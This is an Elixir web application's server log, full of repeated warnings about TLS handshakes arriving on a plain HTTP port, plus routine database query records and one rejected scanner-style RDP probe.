[Thu Sep  3 15:55:44.661000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.661000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.663000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.664000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.667000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.668000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.669000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.671000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.671000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.672000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.672000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.673000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.675000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.677000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.677000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.678000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.680000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.681000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.681000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.682000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.682000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.683000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.685000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.689000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.693000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.693000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.693000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.693000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.694000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.695000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.697000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.697000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.699000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.903000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.916000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.921000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.921000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.923000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.923000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.926000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.927000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.929000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.930000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.930000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.932000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.933000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.934000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.936000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.936000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.938000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.939000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.939000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.939000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.940000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.940000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.941000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.942000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.942000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.948000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.948000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.950000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.952000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.954000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.955000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.956000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.956000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.957000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.957000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.957000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.964000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.970000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.173000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.179000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.180000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.181000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.185000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.186000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.186000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.187000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.190000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.192000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.194000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.196000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.196000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.197000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.197000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.200000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.200000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.201000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.201000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.203000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.203000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.203000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.204000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.205000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.205000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.207000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.208000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.213000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.216000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.216000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.218000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.220000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.221000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.221000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.222000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.222000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.224000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.244000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.374000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.376000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.380000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.380000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.381000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.382000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.382000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.382000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.383000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.383000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.386000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.386000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.386000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.388000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.390000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.390000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.396000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.397000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.397000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.399000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.400000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.400000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.401000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.405000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.407000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.414000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.417000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.419000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.421000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.424000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.426000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.426000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.429000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.431000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.432000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.432000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.432000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.432000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.433000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.433000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.435000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.435000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.438000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.439000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.441000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.443000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.444000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.444000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.445000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.445000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.446000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.446000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.448000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.448000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.449000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.450000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.450000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.451000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.450000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.452000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.452000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.453000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.454000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.455000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.456000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.456000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.456000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.458000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.459000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.460000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.460000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.460000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.463000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.464000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.465000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.465000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.466000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.468000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.468000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.470000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.471000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.476000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.477000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.480000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.484000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:45.485000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1864.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 16:00:00.636000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.6ms idle=1088.2ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 16:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 16:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1820.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 16:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1798.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 16:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1775.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 16:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.0ms idle=1753.9ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 16:41:51.931000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Request line HTTP error: <<3, 0, 0, 43, 38, 224, 0, 0, 0, 0, 0, 67, 111, 111, 107, 105, 101, 58, 32, 109, 115, 116, 115, 104, 97, 115, 104, 61, 104, 101, 108, 108, 111, 13, 10>>
[Thu Sep  3 16:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1728.2ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 16:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1705.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
